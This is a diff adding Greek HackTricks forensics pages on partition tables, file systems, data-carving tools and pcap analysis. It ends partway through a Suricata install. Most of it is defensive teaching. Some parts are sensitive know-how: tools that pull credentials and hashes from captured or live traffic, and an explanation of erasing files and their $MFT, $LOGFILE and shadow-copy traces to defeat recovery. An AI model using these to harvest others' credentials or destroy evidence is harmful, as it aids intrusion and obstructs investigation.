| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρήσεων τμημάτων σε μικρότερη λειτουργία |
|
||||||
|
| 92 (0x5C) | \* | Κρατούμενο; πρέπει να είναι μηδέν για το υπόλοιπο του τομέα (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερο με μεγαλύτερα μεγέθη τομέων) |
|
||||||
|
|
||||||
|
**Καταχωρήσεις τμημάτων (LBA 2–33)**
|
||||||
|
|
||||||
|
| Μορφή καταχώρησης τμήματος GUID | | |
|
||||||
|
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| Οφσετ | Μήκος | Περιεχόμενα |
|
||||||
|
| 0 (0x00) | 16 bytes | [Οδηγός τύπου τμήματος GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (μικτή λειτουργία) |
|
||||||
|
| 16 (0x10) | 16 bytes | Μοναδικός οδηγός τμήματος (μικτή λειτουργία) |
|
||||||
|
| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||||
|
| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένου, συνήθως περιττό) |
|
||||||
|
| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 υποδηλώνει μόνο για ανάγνωση) |
|
||||||
|
| 56 (0x38) | 72 bytes | Όνομα τμήματος (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) |
|
||||||
|
|
||||||
|
**
|
||||||
|
## Συστήματα Αρχείων
|
||||||
|
|
||||||
|
### Λίστα Συστημάτων Αρχείων Windows
|
||||||
|
|
||||||
|
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||||
|
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||||
|
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||||
|
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||||
|
* **ReFS**: 2012/2016
|
||||||
|
|
||||||
|
### FAT
|
||||||
|
|
||||||
|
Το **FAT (File Allocation Table)** σύστημα αρχείων σχεδιάστηκε γύρω από τον πυρήνα του, τον πίνακα εκχώρησης αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, εξασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν ένα από αυτά καταστραφεί. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκονται σε μια **σταθερή τοποθεσία**, η οποία είναι κρίσιμη για τη διαδικασία εκκίνησης του συστήματος.
|
||||||
|
|
||||||
|
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που αποτελείται από πολλούς τομείς. Το FAT έχει εξελιχθεί μέσα από τις εκδόσεις:
|
||||||
|
|
||||||
|
* **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12-bit και χειριζόμενος έως 4078 clusters (4084 με UNIX).
|
||||||
|
* **FAT16**, ενισχύοντας σε διευθύνσεις 16-bit, επομένως φιλοξενεί έως 65,517 clusters.
|
||||||
|
* **FAT32**, προχωρώντας περαιτέρω με διευθύνσεις 32-bit, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο.
|
||||||
|
|
||||||
|
Ένα σημαντικό περιορισμό σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το πεδίο 32-bit που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου.
|
||||||
|
|
||||||
|
Κύρια στοιχεία του ριζικού καταλόγου, ιδιαίτερα για FAT12 και FAT16, περιλαμβάνουν:
|
||||||
|
|
||||||
|
* **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες)
|
||||||
|
* **Χαρακτηριστικά**
|
||||||
|
* **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης**
|
||||||
|
* **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το cluster έναρξης του αρχείου)
|
||||||
|
* **Μέγεθος Αρχείου**
|
||||||
|
|
||||||
|
### EXT
|
||||||
|
|
||||||
|
Το **Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη-καταγραφή** διαμερίσματα (**διαμερίσματα που δεν αλλάζουν πολύ**) όπως το διαμέρισμα εκκίνησης. Τα **Ext3/4** είναι **καταγραφικά** και χρησιμοποιούνται συνήθως για τα **υπόλοιπα διαμερίσματα**.
|
||||||
|
|
||||||
|
## **Μεταδεδομένα**
|
||||||
|
|
||||||
|
Κάποια αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου το οποίο μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να περιέχει πληροφορίες όπως:
|
||||||
|
|
||||||
|
* Τίτλος
|
||||||
|
* Έκδοση MS Office που χρησιμοποιήθηκε
|
||||||
|
* Δημιουργός
|
||||||
|
* Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης
|
||||||
|
* Μοντέλο της κάμερας
|
||||||
|
* Γεωγραφικές συντεταγμένες
|
||||||
|
* Πληροφορίες εικόνας
|
||||||
|
|
||||||
|
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να λάβετε τα μεταδεδομένα ενός αρχείου.
|
||||||
|
|
||||||
|
## **Ανάκτηση Διαγραμμένων Αρχείων**
|
||||||
|
|
||||||
|
### Καταγεγραμμένα Διαγραμμένα Αρχεία
|
||||||
|
|
||||||
|
Όπως είδαμε προηγουμένως, υπάρχουν αρκετά μέρη όπου το αρχείο εξακολουθεί να αποθηκεύεται ακόμα και μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το επισημαίνει ως διαγεγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έπειτα, είναι δυνατόν να ελεγχθούν τα μητρώα των αρχείων (όπως ο MFT) και να βρεθούν τα διαγεγραμμένα αρχεία.
|
||||||
|
|
||||||
|
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές στο σύστημα αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή τόσες πληροφορίες όσο είναι δυνατόν.
|
||||||
|
|
||||||
|
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### **Ανάγλυφο Αρχείων**
|
||||||
|
|
||||||
|
Το **ανάγλυφο αρχείων** είναι μια τεχνική που προσπαθεί να **βρει αρχεία στο μεγάλο όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι λειτουργίας εργαλείων όπως αυτά: **Βασισμένοι στους τίτλους και τους υποσέντρους των τύπων αρχείων**, βασισμένοι στις **δομές των τύπων αρχείων** και βασισμένοι στο **περιεχόμενο** ίδιο.
|
||||||
|
|
||||||
|
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κομμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα μπορέσει να το βρει ή τουλάχιστον ένα μέρος του.
|
||||||
|
|
||||||
|
Υπάρχουν πολλά εργαλεία που μπορείτε να χρησιμοποιήσετε για το ανάγλυφο αρχείων δείχνοντας τους τύπους αρχείων που θέλετε να αναζητήσετε
|
||||||
|
|
||||||
|
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Ανάγλυφο Ροής Δεδομένων
|
||||||
|
|
||||||
|
Το Ανάγλυφο Ροής Δεδομένων είναι παρόμοιο με το Ανάγλυφο Αρχείων αλλά **αντί να αναζητά ολοκληρωμένα αρχεία, αναζητά ενδιαφέρουσες αποσπάσματα** πληροφοριών.\
|
||||||
|
Για παράδειγμα, αντί να αναζητά ένα ολόκληρο αρχείο που περιέχει καταγεγραμμένες διευθύνσεις URL, αυτή η τεχνική θα αναζητήσει τις διευθύνσεις URL.
|
||||||
|
|
||||||
|
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Ασφαλής Διαγραφή
|
||||||
|
|
||||||
|
Φυσικά, υπάρχουν τρόποι για τη **"ασφαλή" διαγραφή αρχείων και μέρους των καταγραφών σχετικά με αυτά**. Για παράδειγμα, είναι δυνατόν να **αντικαταστήσετε το περιεχόμενο** ενός αρχείου με ανούσια δεδομένα πολλές φορές, και στη συνέχεια **να αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τις Αντιγραφές Σκιών του Δίσκου**.\
|
||||||
|
Μπορεί να παρατηρήσετε ότι ακόμα και εκτελώντας αυτήν την ενέργεια ενδέχεται να υπάρχουν **άλλα μέρη όπου η ύπαρξη του αρχείου εξακολουθεί να κ
|
|
@ -0,0 +1,131 @@
|
||||||
|
# File/Data Carving & Recovery Tools
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/forensics/basic-forensic-methodology/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Εργαλεία Ανάκτησης & Ανάγλυφων Δεδομένων
|
||||||
|
|
||||||
|
Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||||
|
|
||||||
|
### Autopsy
|
||||||
|
|
||||||
|
Το πιο κοινό εργαλείο που χρησιμοποιείται στην ανάκριση για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρει "κρυμμένα" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
|
||||||
|
|
||||||
|
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||||
|
|
||||||
|
**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για την εύρεση ενσωματωμένου περιεχομένου. Μπορεί να εγκατασταθεί μέσω `apt` και ο πηγαίος κώδικάς του βρίσκεται στο [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||||
|
|
||||||
|
**Χρήσιμες εντολές**:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo apt install binwalk #Insllation
|
||||||
|
binwalk file #Displays the embedded data in the given file
|
||||||
|
binwalk -e file #Displays and extracts some files from the given file
|
||||||
|
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||||
|
```
|
||||||
|
|
||||||
|
### Foremost
|
||||||
|
|
||||||
|
Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε απλώς να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο την αντίστοιχη γραμμή. Αν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που έχουν ρυθμιστεί.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo apt-get install foremost
|
||||||
|
foremost -v -i file.img -o output
|
||||||
|
#Discovered files will appear inside the folder "output"
|
||||||
|
```
|
||||||
|
|
||||||
|
### **Scalpel**
|
||||||
|
|
||||||
|
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα χρειαστεί να καταργήσετε τα σχόλια από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) των τύπων αρχείων που θέλετε να εξάγει.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo apt-get install scalpel
|
||||||
|
scalpel file.img -o output
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bulk Extractor
|
||||||
|
|
||||||
|
Αυτό το εργαλείο περιλαμβάνεται στο Kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||||
|
|
||||||
|
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, emails)** και περισσότερα **αρχεία**. Απλά πρέπει να:
|
||||||
|
|
||||||
|
```
|
||||||
|
bulk_extractor memory.img -o out_folder
|
||||||
|
```
|
||||||
|
|
||||||
|
### PhotoRec
|
||||||
|
|
||||||
|
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||||
|
|
||||||
|
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τα **τύποι αρχείων** που θέλετε το PhotoRec να αναζητήσει.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (524).png>)
|
||||||
|
|
||||||
|
### binvis
|
||||||
|
|
||||||
|
Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και το [εργαλείο στην ιστοσελίδα](https://binvis.io/#/).
|
||||||
|
|
||||||
|
#### Χαρακτηριστικά του BinVis
|
||||||
|
|
||||||
|
* Οπτικός και ενεργός **θεατής δομής**
|
||||||
|
* Πολλαπλά γραφήματα για διαφορετικά σημεία εστίασης
|
||||||
|
* Εστίαση σε τμήματα ενός δείγματος
|
||||||
|
* **Προβολή συμβόλων και πόρων**, σε εκτελέσιμα PE ή ELF, κ.λπ.
|
||||||
|
* Λήψη **μοτίβων** για κρυπτανάλυση αρχείων
|
||||||
|
* **Εντοπισμός** αλγορίθμων συμπιεστή ή κωδικοποιητή
|
||||||
|
* **Αναγνώριση** Στεγανογραφίας με βάση τα μοτίβα
|
||||||
|
* **Οπτική** διαφοροποίηση δυαδικών αρχείων
|
||||||
|
|
||||||
|
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρου κουτιού.
|
||||||
|
|
||||||
|
## Εργαλεία Ανάκτησης Συγκεκριμένων Δεδομένων
|
||||||
|
|
||||||
|
### FindAES
|
||||||
|
|
||||||
|
Αναζητά κλειδιά AES αναζητώντας τα προγράμματα κλειδιών τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από TrueCrypt και BitLocker.
|
||||||
|
|
||||||
|
Λήψη [εδώ](https://sourceforge.net/projects/findaes/).
|
||||||
|
|
||||||
|
## Συμπληρωματικά εργαλεία
|
||||||
|
|
||||||
|
Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu)για να δείτε εικόνες από το τερματικό.\
|
||||||
|
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών του Linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/forensics/basic-forensic-methodology/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,280 @@
|
||||||
|
# Επιθεώρηση Pcap
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωηρός συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Μια σημείωση σχετικά με το **PCAP** έναντι του **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP. Το **PCAPNG είναι πιο πρόσφατο και δεν υποστηρίζεται από όλα τα εργαλεία**. Ίσως χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή ένα άλλο συμβατό εργαλείο, για να μπορέσετε να το χρησιμοποιήσετε σε άλλα εργαλεία.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Online εργαλεία για pcaps
|
||||||
|
|
||||||
|
* Εάν η κεφαλίδα του pcap σας είναι **κατεστραμμένη** θα πρέπει να προσπαθήσετε να την **επιδιορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||||
|
* Εξαγάγετε **πληροφορίες** και αναζητήστε **κακόβουλο λογισμικό** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com)
|
||||||
|
* Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας το [**www.virustotal.com**](https://www.virustotal.com) και το [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||||
|
|
||||||
|
## Εξαγωγή Πληροφοριών
|
||||||
|
|
||||||
|
Τα παρακάτω εργαλεία είναι χρήσιμα για την εξαγωγή στατιστικών, αρχείων, κλπ.
|
||||||
|
|
||||||
|
### Wireshark
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
**Εάν πρόκειται να αναλύσετε ένα PCAP, πρέπει ουσιαστικά να ξέρετε πώς να χρησιμοποιήσετε το Wireshark**
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο:
|
||||||
|
|
||||||
|
{% content-ref url="wireshark-tricks.md" %}
|
||||||
|
[wireshark-tricks.md](wireshark-tricks.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Πλαίσιο Xplico
|
||||||
|
|
||||||
|
[**Xplico** ](https://github.com/xplico/xplico)_(μόνο για linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλο το περιεχόμενο HTTP, κάθε κλήση VoIP (πρωτόκολλο SIP), FTP, TFTP και άλλα.
|
||||||
|
|
||||||
|
**Εγκατάσταση**
|
||||||
|
```bash
|
||||||
|
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||||
|
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install xplico
|
||||||
|
```
|
||||||
|
**Εκτέλεση**
|
||||||
|
```
|
||||||
|
/etc/init.d/apache2 restart
|
||||||
|
/etc/init.d/xplico start
|
||||||
|
```
|
||||||
|
Αποκτήστε πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_
|
||||||
|
|
||||||
|
Στη συνέχεια, δημιουργήστε ένα **νέο περιστατικό**, δημιουργήστε μια **νέα συνεδρία** μέσα στο περιστατικό και **ανεβάστε το αρχείο pcap**.
|
||||||
|
|
||||||
|
### NetworkMiner
|
||||||
|
|
||||||
|
Όπως και το Xplico, είναι ένα εργαλείο για **ανάλυση και εξαγωγή αντικειμένων από pcaps**. Διαθέτει μια δωρεάν έκδοση που μπορείτε να **κατεβάσετε** [**εδώ**](https://www.netresec.com/?page=NetworkMiner). Λειτουργεί με **Windows**.\
|
||||||
|
Αυτό το εργαλείο είναι επίσης χρήσιμο για να ανακτήσετε **άλλες πληροφορίες από τα πακέτα** προκειμένου να μπορείτε να γνωρίζετε τι συνέβαινε με έναν **ταχύτερο** τρόπο.
|
||||||
|
|
||||||
|
### NetWitness Investigator
|
||||||
|
|
||||||
|
Μπορείτε να κατεβάσετε το [**NetWitness Investigator από εδώ**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Λειτουργεί σε Windows)**.\
|
||||||
|
Αυτό είναι ένα άλλο χρήσιμο εργαλείο που **αναλύει τα πακέτα** και ταξινομεί τις πληροφορίες με τρόπο που είναι χρήσιμος για να **γνωρίζετε τι συμβαίνει μέσα**.
|
||||||
|
|
||||||
|
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||||
|
|
||||||
|
* Εξαγωγή και κωδικοποίηση ονοματεπώνυμων και κωδικών πρόσβασης (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||||
|
* Εξαγωγή κατακεκριμένων καταλόγων ταυτοποίησης και αποκωδικοποίησή τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||||
|
* Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου και χρήστες)
|
||||||
|
* Εξαγωγή ερωτήσεων DNS
|
||||||
|
* Ανακατασκευή όλων των συνεδριών TCP & UDP
|
||||||
|
* Ανάκτηση αρχείων
|
||||||
|
|
||||||
|
### Capinfos
|
||||||
|
```
|
||||||
|
capinfos capture.pcap
|
||||||
|
```
|
||||||
|
### Ngrep
|
||||||
|
|
||||||
|
Αν ψάχνετε για κάτι μέσα στο pcap, μπορείτε να χρησιμοποιήσετε το **ngrep**. Εδώ υπάρχει ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα:
|
||||||
|
```bash
|
||||||
|
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||||
|
```
|
||||||
|
### Ανάκτηση
|
||||||
|
|
||||||
|
Η χρήση κοινών τεχνικών ανάκτησης μπορεί να είναι χρήσιμη για την εξαγωγή αρχείων και πληροφοριών από το pcap:
|
||||||
|
|
||||||
|
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Καταγραφή διαπιστευτηρίων
|
||||||
|
|
||||||
|
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) για να αναλύσετε διαπιστευτήρια από ένα pcap ή ένα ζωντανό διεπαφή.
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σχετικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση τεχνικών γνώσεων**, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
## Έλεγχος Εκμεταλλεύσεων/Κακόβουλου Λογισμικού
|
||||||
|
|
||||||
|
### Suricata
|
||||||
|
|
||||||
|
**Εγκατάσταση και ρύθμιση**
|
||||||
|
```
|
||||||
|
apt-get install suricata
|
||||||
|
apt-get install oinkmaster
|
||||||
|
